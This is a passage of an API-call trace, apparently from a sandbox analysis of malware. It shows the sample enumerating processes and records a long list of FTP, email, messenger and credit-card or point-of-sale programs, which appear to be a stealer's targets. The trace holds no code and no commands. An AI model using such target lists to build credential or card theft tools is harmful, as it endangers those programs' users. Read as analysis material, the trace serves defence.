hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.915] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.917] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.919] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.921] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.923] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0129.925] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0129.928] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0129.930] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.932] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0129.933] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0129.935] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0129.936] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0129.939] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0129.940] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0129.942] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0129.944] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.945] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0129.947] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0129.949] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0129.951] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0129.952] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.954] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0129.959] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0129.960] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0129.962] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0129.964] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0129.966] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0129.967] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0129.969] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0129.972] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0129.973] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0129.975] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0129.985] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0129.987] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0129.989] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0129.990] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0129.992] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0129.994] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0129.995] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0129.998] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0130.000] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0130.001] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0130.006] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0130.009] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0130.011] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0130.013] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0130.016] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0130.018] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0130.020] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0130.028] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0130.031] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0130.035] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0130.038] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0130.041] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0130.044] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0130.047] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0130.050] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0130.053] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0130.056] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0130.059] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0130.064] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0130.068] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0130.071] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0130.074] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0130.077] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0130.080] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0130.083] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0130.086] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0130.089] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0130.091] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0130.094] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0130.096] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0130.101] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0130.103] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0130.107] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0130.109] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0130.112] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0130.115] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0130.126] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0130.130] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0130.132] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0130.135] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, 